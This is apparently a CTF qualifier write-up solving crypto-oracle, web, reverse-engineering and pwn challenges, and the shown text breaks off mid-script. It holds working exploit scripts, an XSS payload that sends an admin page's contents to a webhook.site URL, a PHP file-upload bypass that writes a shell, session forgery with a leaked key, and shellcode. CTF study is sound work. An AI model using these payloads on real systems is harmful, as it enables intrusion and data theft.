---
# System prepended metadata

title: TLSC EOF Qual
tags: [write-up]

---

# TLSC EOF Qual

###### tags: `write-up`

**Table of Contents**

[TOC]

## Crypto

### Chatroom
```python
md5(flag).hexdigest() = 'c0bdcfc620a83e9063a0da44917fdeca'
```
1. In the oracle, we can query if the output contains `男`. Since CBC block cipher XORs the IV with the decrypted string, try searching through the IVs and XOR back the modified bits with `男` and the plain text can be recovered.
2. UTF-8 encodes Chinese characters into 3 bytes, following the rules below. For a single byte ASCII character, the leading bit is always `0`, while 3-bytes Chinese characters, the first byte starts with `1110` and the following 2 bytes starts with `10`.
    ```
    0x00000000 - 0x0000007F:
       0xxxxxxx

    0x00000080 - 0x000007FF:
       110xxxxx 10xxxxxx

    0x00000800 - 0x0000FFFF:
       1110xxxx 10xxxxxx 10xxxxxx
    ```
    ref: https://man7.org/linux/man-pages/man7/UTF-8.7.html
3. Assume the flag contains only ASCII characters and the padding is at least two bytes. Then for the last block, we only need to search through `(hex with leading 1)*(all possible hex)`. The complexity is `O(2^(3+4))` for each byte.
4. For the blocks without padding, we have to search through the bytes that matches the utf-8 encoded convention (printing 哈), and then try if '男' appears. Practice this part by trial and error.
5. Repeat step 4 until all blocks are decrypted, and the flag is found. 

```python
from pwn import *

#p = process('./server.py')
p = remote('eofqual.zoolab.org',10110)

p.recvuntil('間號碼: ')
res = p.recvuntil('系統訊息:',drop=True)[:-1]
res = str(res)[2:-1]
print(res)
res = bytes.fromhex(res)
print(res)
iv = res[:8]
c = res[8:-16]
b0 = res[8:16]
b1 = res[16:24]
b2 = res[24:32]
md5 = res[-16:]
print(iv.hex(),b0.hex(),b1.hex(),b2.hex(),md5.hex())

boy_hex = '男'.encode('utf-8').hex()
print('男 = '+ boy_hex)
#男 = e794b7
     
kone = ['8','9','a','b','c','d','e','f']
k = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
flag = ""

prev = bytes([0] * 2)
found = 0
print(prev)

for pos in range(6):    
    for a in kone:
        for q in k:
            xor = (a+q+"94b7")
            tmp = int.from_bytes(b1, 'big') 
            tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
            tmp = tmp.to_bytes(8,'big')
            p.sendlineafter('輸入訊息: ',tmp.hex()+b2.hex())
            get = p.recvline().decode()
            if '離' in get:
                print(b1.hex(), xor)
                tmp = int(boy_hex,16) ^ int(xor,16)
                tmp = tmp.to_bytes(8,'big')
                print(tmp)
                flag = tmp.decode()[-3] + flag
                print(flag)
                prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
                print(prev)
                found = 1
                break
        if found == 1:
            break
    found = 0

def isEnglish(s):
    try:
        s.encode('ascii')
    except UnicodeEncodeError:
        return False
    else:
        return True    

for a in ['a']:     #kone
    for b in ['c']:     #kone
        for c in ['d']:     #kone
            xor = (a+'0'+b+'0'+c+'0')
            tmp = int.from_bytes(b0, 'big') ^ int(xor,16)
            tmp = tmp.to_bytes(8,'big')
            p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
            get = p.recvline().decode()
            if '離' in get:
                found = 1
            elif ('哈' in get 
    and isEnglish((int(boy_hex,16) ^ int(xor,16)).to_bytes(8,'big').decode()[-3:])):
                print(xor)
                for q in ['2']: #k
                    for r in ['2']: #k
                        for s in ['2']: #k
                            xor = (a+q+b+r+c+s)
                            tmp = int.from_bytes(b0, 'big') ^ int(xor,16)
                            tmp = tmp.to_bytes(8,'big')
                            p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
                            get = p.recvline().decode()
                            if '離' in get:
                                print(b1.hex(), xor)
                                tmp = int(boy_hex,16) ^ int(xor,16)
                                tmp = tmp.to_bytes(8,'big')
                                print(tmp)
                                flag = tmp.decode()[-3:] + flag
                                print(flag)
                                prev = tmp.decode()[-3:-1].encode()
                                print(prev)
                                found = 1
                                break
                        if found == 1:
                            break
                    if found == 1:
                        break
            if found == 1:
                break
        if found == 1:
            break
    if found == 1:
        break 
        
found = 0

for pos in range(6):    
    for a in kone:
        for q in k:
            xor = (a+q+"94b7")
            tmp = int.from_bytes(b0, 'big') 
            tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
            tmp = tmp.to_bytes(8,'big')
            p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
            get = p.recvline().decode()
            if '離' in get:
                print(b1.hex(), xor)
                tmp = int(boy_hex,16) ^ int(xor,16)
                tmp = tmp.to_bytes(8,'big')
                print(tmp)
                flag = tmp.decode()[-3] + flag
                print(flag)
                prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
                print(prev)
                found = 1
                break
        if found == 1:
            break
    found = 0   


for a in ['d']:    #kone
    for b in ['e']:    #kone
        for c in ['8']:    #kone
            xor = (a+'0'+b+'0'+c+'0')
            tmp = int.from_bytes(iv, 'big') ^ int(xor,16)
            tmp = tmp.to_bytes(8,'big')
            p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
            get = p.recvline().decode()
            for q in ['7']:    #k
                for r in ['6']:    #k
                    for s in ['3']:    #k
                        xor = (a+q+b+r+c+s)
                        tmp = int.from_bytes(iv, 'big') ^ int(xor,16)
                        tmp = tmp.to_bytes(8,'big')
                        p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
                        get = p.recvline().decode()
                        if '離' in get:
                            print(b1.hex(), xor)
                            tmp = int(boy_hex,16) ^ int(xor,16)
                            tmp = tmp.to_bytes(8,'big')
                            print(tmp)
                            flag = tmp.decode()[-3:] + flag
                            print(flag)
                            prev = tmp.decode()[-3:-1].encode()
                            print(prev)
                            found = 1
                            break
                    if found == 1:
                        break
                if found == 1:
                    break
            if found == 1:
                break
        if found == 1:
            break
    if found == 1:
        break 
        
found = 0

for pos in range(6):    
    for a in kone:
        for q in k:
            xor = (a+q+"94b7")
            tmp = int.from_bytes(iv, 'big') 
            tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
            tmp = tmp.to_bytes(8,'big')
            p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
            get = p.recvline().decode()
            if '離' in get:
                print(b1.hex(), xor)
                tmp = int(boy_hex,16) ^ int(xor,16)
                tmp = tmp.to_bytes(8,'big')
                print(tmp)
                flag = tmp.decode()[-3] + flag
                print(flag)
                prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
                print(prev)
                found = 1
                break
        if found == 1:
            break
    found = 0     
                
p.interactive()
```

```
FLAG{0r4cL3_nEVeR_D1e}
```
### Chatroom-Revenge
1. md5 = 4b09433eeeba9ff1db650d4c9febff91
2. By trying 0x00 to 0xff for each byte, we can breifly understand the structure of the flag. 
    - If it has 128 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is a single byte utf-8 as **`0x0XXXXXXX`**.
    - If it has 15 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the first byte of a 3-byte word as **`0x1110XXXX`**.
    - If it has 64 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the remaining byte of a  multibyte word as **`0x10XXXXXX`**.
3. Then the structure of the flag be like: 
**`{single byte}*5 + {3-byte}*4 + {single byte}*7`**
total: 3 blocks = 24 bytes (not including iv)
4. There is are only two conditions to make a 2-byte utf-8 to get UnicodeDecodeError, which are **`0x11000000`** and **`0x11000001`** for the first byte. Thus, we can get 2 possibility of each byte by trying to change the byte to begin with **`0x110`** and make the byte behind begin with **`0x10`** except for the last byte of each block.
5. Code below is an example for finding the second bit of the second block.
```python
# -*- coding: utf-8 -*-
from pwn import *
from hashlib import md5
from Crypto.Cipher import Blowfish

r = remote('eofqual.zoolab.org',10111)
print(r.recvline().decode()) # ===== 免費寂寞交友聊天室，24 小時真人在線聊天 =====
get = r.recvline().decode() # 聊天室房間號碼:
print(get)
get = get[9:-1]
c_hex = get[:-32]
block = [c_hex[0:16],c_hex[16:32],c_hex[32:48],c_hex[48:64]]
md5 = get[-32:]
print(r.recvline().decode()) # 系統訊息: 加密連線完成，開始聊天囉！
b = 1 # block
s = 6 # byte from behind
for i in range(2,4):
    num2 = i<<5
    tmp_b = int(block[b],16) ^ (num2<<s*8) ^ (0x80<<(s+1)*8)
    send_text =  ('0'*16+hex(tmp_b)[2:])[-16:] + block[b+1] + block[b+2]
    r.sendlineafter('輸入訊息: ', send_text)
    rec = r.recvline().decode()
    print('輸入訊息:',('0'*16+hex(tmp_b)[2:])[-16:], block[b+1])
    print(rec)
    if("哈" in rec):
        for j in range(32):
            new_tmp_b = tmp_b ^ (j<<s*8)
            send_text =  ('0'*16+hex(new_tmp_b)[2:])[-16:] + block[b+1] + block[b+2]
            r.sendlineafter('輸入訊息: ', send_text)
            rec = r.recvline().decode()
            print('輸入訊息:',('0'*16+hex(new_tmp_b)[2:])[-16:], block[b+1])
            print(rec)
            if("哈" not in rec):
                print(hex(num2^0xc0^j))
                print(chr(num2^0xc0^j))
```
6. Discovered one by one:
F L A G { 0xe6 0x82or0x83 0x10xxxxxx
0xe6 0xa2or0xa3 0xb2 0xe6 0xacor0xad 0xb5 0xe6 0x94or0x95
0xb6or0xb7 0x38or0x39 } 0x00 0x00 0x00 0x00 0x00
7. Got the flag by comparing with md5.
```python=
from hashlib import md5
for a in ['82','83']:
    for b_t in range(128,192):
        b = hex(b_t)[2:]
            for c in ['a2','a3']:
                for d in ['ac','ad']:
                    for e in ['94','95']:
                        for f in ['b6','b7']:
                            for h in ['38','39']:
                                for i in ['ae','af']:
                                    for j in ['b8','b9']:
                                        tmp = bytes.fromhex('e6'+a+b+'e6'+c+i+
                                            'e6'+d+j+'e6'+e+f+h)
                                        flag = 'FLAG{' + tmp.decode('utf-8') +'}'
                                        encoded_flag = flag.encode('utf-8')
                                        md = md5(encoded_flag).hexdigest()
                                    if(md == '4b09433eeeba9ff1db650d4c9febff91'):
                                        print(flag)
```
**`FLAG{悠梯欸敷8}`**

## Web
### Zero Storage
* site : http://zero-storage-eof-ctf.csie.org:1310/
* 如果上傳的是 html，可以成功 XSS
* session 裡面就會有 id 和 file_list session, 是 HTTPOnly, 有簽證
* no dns rebind

#### FLAG A
* for admin to see the xss file needs to be friend
* report url `http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=cclin0816`
* report XSS view `http://zero-storage-eof-ctf.csie.org:1310/view?filename=-7uQTJAfMBqTnV-vFW7C4YK3gtK2wj-7.html`
```html=
<script>
fetch("http://zero-storage-eof-ctf.csie.org:1310/home")
.then((response) => response.text())
.then((data) => {
let parser = new DOMParser();
let doc = parser.parseFromString(data, 'text/html');
let f = 
doc.getElementsByClassName("pure-u-1")[2].getElementsByTagName("a")[0].innerText;
fetch(
"https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" + f
);
})
.catch((error) => {
fetch(
"https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" +
btoa(error)
);
});
</script>
```
* get the filename of flag and see it `http://zero-storage-eof-ctf.csie.org:1310/view?filename=maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt`
* FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......}
#### FLAG B

```python
async def debug_user(request):
    if not request.session.get('debug', False):
        return TemplateResponse('show.html',{'request': request, 'note':
'Permission denied'})
    uid = request.query_params.get('id', request.session.get('id', -1))
    async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, ))
as cursor:
        row = await cursor.fetchone()
        user, pas = (None, None) if row is None else row
    return TemplateResponse('show.html', {
        'request': request,
        'pre': True,
        'note': f'''id : {uid}
name: {user}
pass: {pas}
'''
})
```
* error page (access 不存在的頁面) 可以看到 middleware 的 secret key ```Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B```
* session 中的 debug 要是 True，若 session 中沒有 debug 就會自動是 False
* [Starlette Source](https://github.com/encode/starlette/blob/master/starlette/middleware/sessions.py) 裡面有 load cookie 的部分
![](https://i.imgur.com/NJ1SF3Z.png)
* 用這個腳本生 session，在 load ```http://zero-storage-eof-ctf.csie.org:1310/debug_user?debug_user=admin``` 的時候送 (可以用 burpsuite)
```python=
from base64 import b64decode, b64encode
import itsdangerous, json
signer = itsdangerous.TimestampSigner(
"Ludibrium-Secret133.221.333.123.111_kvYAtbZkwkhyPv5B")
payload = {"id": 0, "filenames": [], "debug": True}
data = b64encode(json.dumps(payload).encode("utf-8"))
max_age = 14 * 24 * 60 * 60
print(signer.sign(data))
```
* FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?}
### WTF
* site : http://eofqual.ais3.org:9487/

```php=
<?php
if (!empty($_FILES['file'])) {
    $filename = $_FILES['file']['tmp_name'];
    $timestamp = date('Y-m-d-H:i:s');
    $log_file = $_POST['log'] ?? "$timestamp.log";

    $result = shell_exec(sprintf("file -- %s", escapeshellarg($filename)));
    $result = strchr($result, ":", 0);
    $result = htmlentities($result);

    $extension = pathinfo($log_file, PATHINFO_EXTENSION);
    if (strtolower(substr($extension, 0, 2)) !== "ph") {
        file_put_contents($log_file, $timestamp . $result);
    } else {
        echo "NO!";
    }
    echo 'File Type<strong>'.$result.'</strong>';
}
?>
```

* ```$log_file = $_POST['log'] ?? "$timestamp.log";``` 所以 log_file 的檔名可控
```bash
curl -F "file=@/mnt/d/school/eductf/final/wtf.file" -F "log=[control filename]"
eofqual.ais3.org:9487
```
* ```strtolower(substr($extension, 0, 2)) !== "ph"``` 會擋 ph 開頭的檔名，但是 pathinfo 可以簡單的用 ```.php/.``` 繞過，或是用 .inc 也可以 ([file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass))
* 看了 [這篇](https://xz.aliyun.com/t/7081) 知道說 ```file -- ``` 其實是可以利用的，像是直接去改 gz 檔案裡面的內容可以在 ```file --``` 的時候顯示出來，所以就直接把 shellcode 塞在裡面
![](https://i.imgur.com/aPYen8K.png)
* 雖然可以讓 shellcode 出現了，但是被 php 開頭的 < 會被 htmlentities 擋住，不過因為檔名可控，就可以利用 php filter，所以先把 shellcode base64 decode 以後塞進去
![](https://i.imgur.com/u5s8QCE.png)
* 要注意會有 padding 問題，所以要前面要塞點東西讓他能正常 base64 decode，還有最後的 == 要改掉才不會出錯
```bash
curl -F "file=@/mnt/d/school/eductf/final/wtf.gz" -F
"log=php://filter/write=convert.base64-decode/resource=ok.php/."
eofqual.ai
```
![](https://i.imgur.com/G37w02g.png)
* FLAG{𖥂𖢐𖥑𖣠𖤐𖤐𖤐𖣠𖡨𖥶𖦂}
## Reverse
### DuRaRaRa
decompile the `Cracked_IDA_PRO_7_5_SP3_installer.exe`  
we can see that it allocate a executable memory  
and copy something in it then create a thread  
```cpp
local_14 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,DAT_0045d4b4,0x3000,0x40);
memcpy(local_14,&DAT_00403020,DAT_0045d4b4);
local_18 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_14,(LPVOID)0x0,0,&local_1c);
```
we can see that the data it copies is a PE binary
![](https://i.imgur.com/sHx7hzP.png)

so extract the binary out then decompile again  
we can see in main the program opens flag add does MD5 hash  
for every 5 words and then xor with local data  
```cpp=
while (flag_len = _strlen(&flag), itr < flag_len) {
_memcpy(&local_ad,&flag + itr,5);
__Z7MD5InitP7MD5_CTX(local_108);
flag_len = _strlen((char *)&local_ad);
__Z9MD5UpdateP7MD5_CTXPhj(local_108,&local_ad,flag_len);
__Z8MD5FinalP7MD5_CTXPh(local_108,(int)local_a7);
local_1c = 0;
while (local_1c < 0x10) {
  _fprintf(local_24,"%02x",(uint)(local_97[local_1c] ^ local_a7[local_1c]));
  local_1c = local_1c + 1;
}
```

so convert the `secret.txt` to md5s
```python=
xor_arr = []
xor_arr.append(0xa8)
xor_arr.append(0x81)
xor_arr.append(0x21)
xor_arr.append(0xe4)
xor_arr.append(0x6e)
xor_arr.append(0x48)
xor_arr.append(0x32)
xor_arr.append(0x2b)
xor_arr.append(0x13)
xor_arr.append(0x32)
xor_arr.append(0x8c)
xor_arr.append(0xeb)
xor_arr.append(0xf4)
xor_arr.append(0xfb)
xor_arr.append(0x6c)
xor_arr.append(0x1e)



target = "c35f2bca2f79dcf56c4863b89c80a97362a47454652178\
0f878ac7651dead037f8380f4c51a73167f1957f164cd1866d2431aa5\
40b53d462b4455abc7289a49f34a7fe7abc1b5715a2ece8bedf263669\
13431e915e03b55f838a34f725f508e10a06bbde480e4e68e30b3c39d\
017308070d1d1a8b500030188d3fd09e03bd8f065a345df725e158b52\
a806d14432979e5080d06a9fedc6af6b516175c4af22eb4cf2b11ae72\
dbf6ee061a17e283ba900018f38724d89f59c203351a0b2cf061ca6b9\
cfa80e24ca8141a67be5a6a10bab90084de1b0314a4c5319d6803ceda\
13f5bcf5f6f2908744f85bf5cfec245ed56fea2885bc4d7ef1acfb6d7\
0d720f9e1e435d2529990c5ee0284627a2ca7f0ee83cb14c1dfab3ec4\
0ed331ee5bbddff2e"
new_target = ""
for i in range(len(target) // 2):
  new_hex = hex(int(target[i * 2: (i + 1) * 2], 16) ^ xor_arr[i % 16])[2:]
  if(len(new_hex) == 1):
    new_hex = "0" + new_hex
  new_target += new_hex

print(len(new_target))
for i in range(18):
  print(new_target[i * 32: (i + 1) * 32])
```
and we get those md5s and crack it
> 6bde0a2e4131eede7f7aef53687bc56d
ca2555b00b694a2494b84b8ee911bc29
50b92ea83fef034ce2a7f3fdb82aea73
8cb08bb0651be649a777d6578672c881
9c26df9ed253653eb1de64552bdd5a77
bbc23f75304b877490b8b81cd10e64ff
a2879a3a26467c43f039b0d224ec5c9e
d850f04cdb48312a9be171e214c0b4ee
cd22643b1c1627a0419a8a3ab0c9fb80
f801f18ef1a5f4847863ed9e30544ef5
e47390fe89658d45f3532d95dcc0c51e
a90e199623c1c7b73301dd4b46346a02
0e38ee4c606cf8aa5294f70e525a67b5
38896c05de797867402b5a6bc816cd21
f34e7e8b47404664968dd01536be8148
5623a9bfaa9fdd31dc845be686f4f200
ebdc04cdf7446ccb3b74ab493e8462f6
94306df994fbde6bfe01920e4f269330

it can't be cracked with online cracker so use a simple bruteforce to crack  
```python=
from Crypto.Hash import MD5
import string

# t = string.printable[:95]
t = "abcdefghijklmnopqrstuvwxyz_{}FLAG"
print(t)


match =  ["6bde0a2e4131eede7f7aef53687bc56d", #FLAG{
          "ca2555b00b694a2494b84b8ee911bc29", #wait_
          "50b92ea83fef034ce2a7f3fdb82aea73", #what_
          "8cb08bb0651be649a777d6578672c881", #are_y
          "9c26df9ed253653eb1de64552bdd5a77", #ou_lo
          "bbc23f75304b877490b8b81cd10e64ff", #oking
          "a2879a3a26467c43f039b0d224ec5c9e", #_for_
          "d850f04cdb48312a9be171e214c0b4ee", #there
          "cd22643b1c1627a0419a8a3ab0c9fb80", #_is_n
          "f801f18ef1a5f4847863ed9e30544ef5", #othin
          "e47390fe89658d45f3532d95dcc0c51e", #g_ins
          "a90e199623c1c7b73301dd4b46346a02", #ide_t
          "0e38ee4c606cf8aa5294f70e525a67b5", #his_v
          "38896c05de797867402b5a6bc816cd21", #m_hac
          "f34e7e8b47404664968dd01536be8148", #ker_h
          "5623a9bfaa9fdd31dc845be686f4f200", #acker
          "ebdc04cdf7446ccb3b74ab493e8462f6", #_go_a
          "94306df994fbde6bfe01920e4f269330"] #way!}

for a in range(33):
  print(a)
  for b in range(33):
    for c in range(33):
      for d in range(33):
        for e in range(33):
          h = MD5.new()
          nt = t[a] + t[b] + t[c] + t[d] + t[e]
          h.update(nt.encode())
          hh = h.hexdigest()
          for m in match:
            if m == hh:
              print(m, nt)
              break
```

FLAG{wait_what_are_you_looking_for_there_is_nothing_inside_this_vm_hacker_hacker_go_away!}
### AssemblyLanguageBeast
there is [source code](https://github.com/terrynini/Assembly-Language-Beast.git) for this challenge  

the main difference is in `C_Monster_Generate` and `Monsters_TickTock`  
the assigned Monster ID in `C_Monster_Generate` were xored with 0x55  
```cpp=
(&Monster_array_ID_e1be)[(Monster_count_4af2 ^ 0x55) * 0x44] = Monster_count_4af2;
Monster_count_4af2 = (Monster_count_4af2 ^ 0x55) + 1 ^ 0x55;
```
and in `Monsters_TickTock` after monster died it calls a function  
then its ID is xor with flag
```cpp=
last_mon = (Monster_count_4af2 ^ 0x55) - 1;
Monster_count_4af2 = last_mon ^ 0x55;
if ((int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 < 
(int)(Player_Main_Health_Now_dde0 ^ 0x55))
{
Player_Main_Health_Now_dde0 = Player_Main_Health_Max_dddc;
}
else {
Player_Main_Health_Now_dde0 =
     (int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 + 
     (Player_Main_Health_Now_dde0 ^ 0x55) ^
     0x55;
}
iVar1 = (int)((&Monster_array_ID_e1be)[last_mon * 0x44] ^ 0x819f) % 0x32;
(&flag_5270)[iVar1] = (byte)(&Monster_array_ID_e1be)[last_mon * 0x44] ^ 
(&flag_5270)[iVar1];
```
then it renders the flag if all monster dies  
```cpp=
if (Monster_count_4af2 != 0x55) {
return;
}
render_flag?_4824();
SetState_17ce(4);
```

simply patch the binary in `C_Monster_Generate`  
where sets Health_Now of monster  
```cpp=
(&Monster_array_Health_Now_e1a2)[(Monster_count_4af2 ^ 0x55) * 0x44] =
         (&Monster_array_Health_Max_e19e)[(Monster_count_4af2 ^ 0x55) * 0x44];
```
patch the `mov at 0x403a1f` to `xor eax, eax` so the monster's health is zero  

![](https://i.imgur.com/DCFn13X.png)

run the patched game and gets the flag  

![](https://i.imgur.com/vm5TLDf.png)
### Ransomware

*this is solved after score board freeze*

這題裡面包含 `1~143.jpg`, `wannaSleep.exe`, `readme.txt`, `ransomware.jpg`  
decompile wannaSleep 後可以看到一個 function  

**FUN_0040177b**
```cpp=
void FUN_0040177b(LPCSTR param_1,LPCSTR param_2)
{
  BOOL BVar1;
  DWORD local_26c;
  _WIN32_FIND_DATAA local_268;
  CHAR local_128 [272];
  HANDLE local_18;
  HANDLE local_10;
  
  PathCombineA(local_128,param_1,param_2);
  local_10 = FindFirstFileA(local_128,(LPWIN32_FIND_DATAA)&local_268);
  if (local_10 != (HANDLE)0xffffffffffffffff) {
    do {
      if ((local_268.dwFileAttributes & 0x10) == 0) {
        PathCombineA(local_128,param_1,local_268.cFileName);
        printf_s("%s\n",local_128);
        FUN_00401560(local_128);
      }
      BVar1 = FindNextFileA(local_10,(LPWIN32_FIND_DATAA)&local_268);
    } while (BVar1 != 0);
    FindClose(local_10);
  }
  local_18 = CreateFileA("ransomeware.jpg",0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,1,0x80,
                         (HANDLE)0x0);
  if (local_18 != (HANDLE)0xffffffffffffffff) {
    WriteFile(local_18,&JPEG_00408040,DAT_004660b4,&local_26c,(LPOVERLAPPED)0x0);
    CloseHandle(local_18);
  }
  return;
}
```
可以看到 PathCombineA 然後 FindFirstFileA  
接著在 while loop 中 call FUN_00401560 然後 FindNextFileA  
=> 一個把所有檔案加密的循環  

**FUN_00401560**
```cpp=
void FUN_00401560(LPCSTR param_1)
{
  DWORD local_2c;
  LPVOID file_buf;
  uint allocate_size;
  DWORD file_size;
  HANDLE file_fp;
  uint local_10;
  uint offset;
  
  file_fp = CreateFileA(param_1,0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
  if (file_fp != (HANDLE)0xffffffffffffffff) {
    file_size = GetFileSize(file_fp,(LPDWORD)0x0);
    allocate_size = (file_size & 0xfffff000) + 0x1000;
    file_buf = VirtualAlloc((LPVOID)0x0,(ulonglong)allocate_size,0x3000,4);
    ReadFile(file_fp,file_buf,file_size,&local_2c,(LPOVERLAPPED)0x0);
    offset = ((allocate_size + file_size +
              (int)*(char *)((longlong)file_buf + 0xc0U % (ulonglong)file_size)) % 0x4000_const +
             (int)*(char *)((longlong)file_buf + 0xc79U % (ulonglong)file_size)) % 0x4000_const;
    local_10 = 0;
    while (local_10 < allocate_size) {
      *(byte *)((longlong)file_buf + (longlong)(int)local_10) =
           *(byte *)((longlong)file_buf + (longlong)(int)local_10) ^
           (&xor_arr)[offset % 0x4000_const];
      local_10 = local_10 + 1;
      offset = offset + 1;
    }
    SetFilePointer(file_fp,0,(PLONG)0x0,0);
    WriteFile(file_fp,file_buf,allocate_size,&local_2c,(LPOVERLAPPED)0x0);
    VirtualFree(file_buf,0,0x8000);
    CloseHandle(file_fp);
  }
  return;
}
```

可以看到把原檔案讀進來 計算 new size 跟 offset  
用檔案跟 xor_arr xor 寫到新檔案  

**recover file**  

jpg 前 4 byte 是 magic number `0xff` `0xd8` `0xff` `0xe0`  
利用加密後的前 4 byte 嘗試 xor 不同 offset 的 xor_arr  
就能找到 offset 把檔案還原
```cpp=
void extract(string filename, char *xor_buf, int offset) {
  fstream in(filename, fstream::in | fstream::binary);
  fstream out("e" + filename, fstream::out | fstream::binary);
  char c;
  while(in.get(c)){
    out.put((char)(xor_buf[offset] ^ c));
    offset = (offset + 1) % 0x4000;
  }
  in.close();
  out.close();
}

int main() {
  fstream game_bin("wannaSleep.exe", fstream::in | fstream::binary);
  game_bin.seekg(0x2620);
  char buf[0x4000];
  game_bin.read(buf, 0x4000);
  for(int i = 1; i < 144; i++) {
    string filename = to_string(i) + ".jpg";
    cout << filename << '\n';
    fstream file_bin(filename, fstream::in | fstream::binary);
    char filebuf[4];
    file_bin.read(filebuf, 0x4);
    int target[] = {0xff, 0xd8, 0xff, 0xe0};
    int know_offset;
    for (int offset = 0; offset < 0x4000; offset++) {
      if(((char)(filebuf[0] ^ buf[offset])) != (char)target[0]) {
        continue;
      }
      if(((char)(filebuf[1] ^ buf[(offset + 1) % 0x4000])) != (char)target[1]) {
        continue;
      }
      if(((char)(filebuf[2] ^ buf[(offset + 2) % 0x4000])) != (char)target[2]) {
        continue;
      }
      if(((char)(filebuf[3] ^ buf[(offset + 3) % 0x4000])) != (char)target[3]) {
        continue;
      }
      cout << "yeah" << '\n';
      know_offset = offset;
      break;
    }
    file_bin.close();

    extract(filename, buf, know_offset);
  }
  game_bin.close();
}
```
解出來是 flag 拼圖 能用 python 拔掉 padding byte 但其實沒啥意義

txt 沒有 magic number 但推測其大小不會剛好 0x1000  
加密會在後面有 padding 0x0  
所以最後面會等於 xor_arr， 比對後就能找出 offset 4432  
用前面的 extract 解  

解出來是
>Sort them by size to get the right order,  
>and there are 11*13 pieces of images.  
>.PIL may save your life  

然後照檔案大小排序後能發現 就是數字排序大到小  
然後來拼圖 我用 opencv  
```python=
import cv2
import numpy as np

canvas = np.zeros((80 * 13, 80 * 11, 3), np.uint8)


for i in range(143):
  img = cv2.imread(f"e{143 - i}.jpg")
  img = cv2.resize(img, (80, 80))
  canvas[(i // 11) * 80: ((i // 11) + 1) * 80,
  (i % 11) * 80: ((i % 11) + 1) * 80, :] = img

cv2.imwrite("pic.jpg", canvas) 
```
然後手抄 flag 一直抄錯 ==

![](https://i.imgur.com/nKSYgIv.png)

## Pwn
### EDUshell
first decompile the program  
we can see some useful choice  
`exec` `loadflag` `cat EDUshell`  
* exec  
check if flag loaded  
if loaded copy until blank space to a mmap  
then call the mmap address  
* loadflag  
read flag to memory  
setup seccomp with only `read` `exit` `exitgroup`  
* cat EDUshell  
malloc a memory then fill with random value then print  

=> loadflag then exec shellcode  
=> use scanf `%255s`  
=> first part of shell code reads more shellcode in  
no write only read  
=> crash the program if input doesn't match flag else continue read  
=> error base oracle  

oracle
```python=
from pwn import *
import string
import time

def preprocess():
  r = remote('eofqual.zoolab.org', 10101)
  # r = process('./EDUshell')

  r.sendlineafter('$ ', 'loadflag')

  context.arch = 'amd64'

  shell = '''
  xor rax, rax
  xor rdi, rdi
  xor r14, r14
  inc r14
  shl r14, 5
  add rdx, r14
  mov rsi, rdx
  shl r14, 5
  mov rdx, r14
  syscall
  nop
  '''
  bin = asm(shell)
  # print(disasm(bin))
  # print(len(bin))
  r.sendline(b'exec ' + bin)

  # flag at rbx
  shell = '''
  add rbx, 0x27c0
  sub rsi, 0x20
read_loop:
  xor rax, rax
  xor rdi, rdi
  mov rdx, 5
  syscall
  xor r14, r14
  xor r15, r15
  mov r15b, byte ptr [rbx]
  inc rbx
  mov r14b, byte ptr [rsi]
  cmp r14b, r15b
  je read_loop
  '''
  bin = asm(shell)
  # print(disasm(bin))
  # print(len(bin))
  r.send(bin)
  return r

context.log_level = 'error'
known = ""
now_at = 0
guess = 0
t = string.printable[:97]
t = "_abcdefghijklmnopqrstuvwxyz}{ !0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
while True:
  r = preprocess()
  print(known)
  time.sleep(1)
  while True:
    # input()
    to = 0.2
    next_send = ""
    if now_at >= len(known):
      next_send = t[guess]
      to = 0.7
    else:
      next_send = known[now_at]
    print(next_send, to)
    r.send(next_send)
    try:
      r.recv(numb = 1, timeout = to)
    except EOFError:
      print("miss", now_at, t[guess])
      now_at = 0
      guess += 1
      break
    if now_at >= len(known):
      known += t[guess]
      guess = 0
    now_at += 1

```

to lazy to improve speed but it works 
### Messy Printer
there is source code for this program  
goal is to leak libc base address  
a FSB but output is encrypt with RSA  
=> RSA is vulnerable since it doesn't use padding but  
> // if n / 2 > plaintext  
> // then plaintext = n - plaintext  

short string like address the difference is kept when e is small  
=> first guess address then FSB the libc address  
=> compare two cipher if larger then guess is too small  
=> binary search  


```python=
from pwn import *
from Crypto.Util.number import bytes_to_long
r = remote('eofqual.zoolab.org', 4001)
# r = process('./messy_printer')

def try_if_same(data1, data2):
  r.sendafter('[y/n]: \n', 'y')
  r.sendlineafter('Give me title: \n', data1)
  d1 = r.recvuntil('\nGive me ')[:-9]
  r.sendlineafter('content: \n', data2)
